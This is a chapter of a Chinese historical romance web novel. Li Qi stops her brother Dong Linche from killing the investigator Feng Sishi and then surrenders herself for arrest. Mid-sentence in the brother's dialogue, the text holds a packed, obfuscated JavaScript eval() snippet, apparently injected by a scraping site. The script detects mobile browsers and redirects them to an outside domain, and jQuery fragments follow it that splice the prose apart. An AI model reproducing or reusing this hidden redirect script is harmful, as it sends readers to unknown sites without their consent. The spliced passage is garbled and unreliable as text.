第10章长夜(10)
李绮的马车停在军营外时,已经正午时分。
李绮走下马车,看见生香蹲在外面洗菜,她也发现了李绮,立即笑出声来,回头喊道:“董将军你来看,是谁来了?”
最中间的军帐里走出一个二十左右的青年,面容俊朗,眉目英利,他快步迎上前,声音里是压抑不住的高兴:“阿姐,你怎么来了?不是说城里有很多事吗?”
李绮看着董临澈欣喜的眼睛有些出神。
她和董明容、董临澈三人聚少离多,每次相聚都在谈论收复云洲,他们丧失了太多这个年纪应该有的,不论是成家立业,还是自由自在。
这么些年她从来不觉得自己苦,但这一刻,口中竟然品到一丝苦涩来。
生香把洗好的菜放好,也跟了过来,“冯案使那边怎么样?”
李绮沉默着打量周围,来来往往的士兵在巡逻。
她拉着生香和董临澈走到角落,才说:“冯斯疾已经知道了。我试探过,他这次不会善罢甘休。如果我真有不测,在明容回来之前,就都听生香的安排。”
她了解董临澈,年轻冒进,带着生香恐怕会因为太过出头而遭遇不测。
唯有让他听生香的。
生香比之他更沉稳内敛。
董临澈皱着眉:“阿姐,你怎么能这么云淡风轻说这些?你不能就这么认命了。”
李绮还没说话,不远处忽然响起车轱辘滚过地面的声音,三人同时望去,只见一辆马车带领十来个士兵气势如虹地朝他们过来。
马车绛紫色的帘子旁,挂着一个写有‘冯’字的灯笼。
李绮心口一紧,下意识就把生香和董临澈护在身后。
她看着那片绛紫色的帘子被撩起,里面慢慢现出冯斯疾的身影。
冯斯疾从容迈下马车,松青色的衣角拂过积白雪地。
在雪中站定,他微微抬头,深幽的双目在天光下晦暗闪烁,直盯着李绮:“你们这是在商计,该怎么逃出京都?”
“你想怎么样?”李绮默默数了数他带来的士兵,以页书领头,不多不少刚好十个。
这个数量,应该不是来拿人的。
她稍微松了口气。
然而冯斯疾的目光却越过她,看向被她护在身后的生香:“拿她审问。”
李绮的心又紧了起来,板着脸问:“你什么意思?”
冯斯疾迈步,朝她走近,皂靴在雪地上留下一串深深浅浅的脚印:“昨夜在你来我府上之前,我就去县主府找过生香,奈何她出城了。”
他笑得意味深长,轻轻摩挲着手指上的佛戒:“原来是躲在这儿啊。”
李绮未回应他,他稍稍偏头,示意了身后的人一眼。
十个士兵纷涌上前,将他们团团包围,其中两个伸手就要去捉拿生香。
咣的一声,一道剑影寒光闪过李绮的眼前,寒光乍现的瞬间,董临澈挥刀横向冯斯疾的喉头:“谁敢动!”
“临澈!”李绮惊得瞳孔紧缩,他好不容易坐上这个位置,有多少人虎视眈眈,冯斯疾是陛下亲派的特案使,怎么能这么冲动的对待!
可刀下的冯斯疾一动不动,仍然挂着那一抹令人胆寒的微笑,逼视着李绮。
李绮来不及去思索冯斯疾的用意,只想劝住董临澈:“冯斯疾如今是什么身份?你对他拔刀相向,不想活了吗?”
董临澈好似听不见她的任何声音,愤怒的侧脸涨得通红,握住剑柄的指骨用力到可以听见咯吱声。
董临澈的剑尖只差毫厘,就能刺破冯斯疾的命脉。
“阿姐别拦我,就是因为他,我们才不得已一退再退。”
他的眼里泛起浓烈的赤红,李绮看得明明白白,那是明晃晃的杀意。
吵闹的动静惊扰了军营,董临澈的副将马彪率先冲出来,高喊一声保护将军:“全都拿下!”
约莫百人的士兵黑压压冲来,在冯斯疾那十个士兵的外圈围成一个更大的包围圈。
两方士兵刀剑相向,互不退让,剑拔弩张的空气紧迫得能撕出鲜血来。
李绮死死盯着董临澈的剑,生怕他冲动起来不管不顾。她瞥眼时,看见冯斯疾深静的凤目,他冷静沉着,丝毫不受旁人的影响。
他甚至从容淡定地走上前,主动迎上董临澈的刀,“董将军年少勇猛,令我佩服。只是,董将军为何不动手?”
刀尖刺破肌肤,晕出一点血痕。
李绮看出来了,他是在故意激怒董临澈。
她的心提到嗓子眼,未及劝阻,董临澈已经掉入陷阱,恨恨道:“你真以为本将军不敢!”
剑影寒光一闪而过,董临澈手起刀落,刀尖往冯斯疾的喉咙杀去,他想要一剑刺穿对方的脖子,起到见血封喉之效果。
没有多余的时间思考,李绮冲上前狠狠推开冯斯疾,眼睁睁看着董临澈的刀尖在眼前迅速放大,在距离她胸口毫厘之差时骤然偏离,重重砍在旁边的马车上。
轰隆一声,李绮停在旁边的马车四分五裂。
车夫被吓得滚了出来,被生香扶起。
“阿姐,你就这么护着他!”
董临澈气得胸口高低起伏,扫过来的目光全是怨怼:“你是不是还忘不了他,忘不了你们在黔州的情谊?”
‘啪!’
李绮一巴掌扇过去,董临澈被打得脸歪向一边,脸上慢慢浮现出红印。
这一耳光打蒙了所有人,周遭有一瞬的死寂。
董临澈愣了好半晌才抬起头来,不可置信地盯着李绮。
李绮面无表情:“我不是在护他,我是在救你。冯案使被陛下特召回京,案子未破就命丧你手,你想过后果吗?
“我不只一次的告诉过你,不要冲动,要三思而后行,你哪一次把我的话真正放在心上?”
董临澈怒声反驳:“可我不也是为了阿姐你考虑吗!”
他愤怒地扫向她空荡荡的胸前:“我注意到了,你今日没有戴多宝璎珞。你为何把它摘了,你不想等那个贵人了是吗?你是不是打定主意要离开我和生香了?那这么多年的努力算什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805284|175110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?不就是因为冯斯疾绝了你的路才会这样吗?那我把他杀掉就好了!你何故要拦我!”
生香悄悄拉他的袖子,“将军,别再说了…”
李绮看着他盛怒的模样,年轻气盛,多说无益。
因为过于了解他,心里也没有多失望。
她不再看董临澈,缓缓转过身,对冯斯疾道:“冯案使,生香只是我的丫鬟,对于娘娘的案子什么也不知道。你要拿人就拿我吧,我跟你走。”
冯斯疾试图从她身上看出什么,可她抬起的眼里灰蒙蒙一片,像阴沉沉的天空在往地面倒灌压抑,让他透不过气,暗暗捏紧了藏在袖中的案件呈辞。
他本打算将呈辞递送宫廷,告发李绮,真正展开调查,将案情公布天下。
途中遇见吵闹的百姓,他撩开车帘,看见李绮的马车,鬼使神差的,他跟了上来。
看见她眼底的灰暗,他突然觉得这卷呈辞太过烫手。
这时,李绮又道:“临澈年少,做事冲动,还望冯大人不与他计较,原谅他这一回。”
董临澈在她背后不甘心地跺脚:“阿姐!”
冯斯疾淡淡扫了眼董临澈,太年轻,太冒进,这样跟着李绮,真的不会害了她吗?
冯斯疾收回目光,淡声道:“带走吧。”
他观察着李绮的神色,深怕错过她的什么暗示,但直到页书把镣铐拷在她的手腕上,她都没有再说一个字,自然,也没有再看他一眼。
她面色平静,坦然接受这一切。
冯斯疾压抑着心绪,转身走在前面,身后传来铐链发出的脆响,李绮跟在他后面,走向他的马车。
走了几步,前面的路被董临澈带兵拦住,乌泱泱的百名士兵把路阻得水泄不通。
冯斯疾不耐烦地冷眼看着他。
他不肯退让,也没看冯斯疾一眼,只一味盯着李绮说:“阿姐,你就这么认命了?你现在走了,万一……万一明日那位璎珞贵人就出现了呢。”
冯斯疾侧目看李绮反应,她苍白的侧脸笼在灰暗的天光里,缓缓说:“你再拦路,我就再也没有你这个弟弟。让开!”
“阿姐…!”
董临澈不明白她为什么这么倔强,为什么不抗争一下。可不论他再说什么,她都没有再理会他,仿佛真的当他不再是弟弟。
董临澈咬牙固执了好半晌,到底犟不过李绮,他恨恨收刀,往旁边让开。
他身后的士兵也自动从左右散开,让出中间一条路。
-
冯斯疾在黔州过惯了凄寒简朴的日子,马车里不像李恪那样烧着银碳,空荡荡的,连坐垫都是最原始的那种硬木。
李绮一坐上马车去,就冷得发抖,上下牙磕磕碰碰。
她一直低着头,铐住她手腕的铐链年代久远,覆盖了一层黄褐色的锈,把细嫩的手腕磨出红痕,传来细细密密的痛。
头脑发胀,太阳穴也在突突的跳,但李绮不敢松懈,她不愿死心,却到底没有颜面再去看冯斯疾了,深深埋着头问:“真的没可能,包庇我吗?”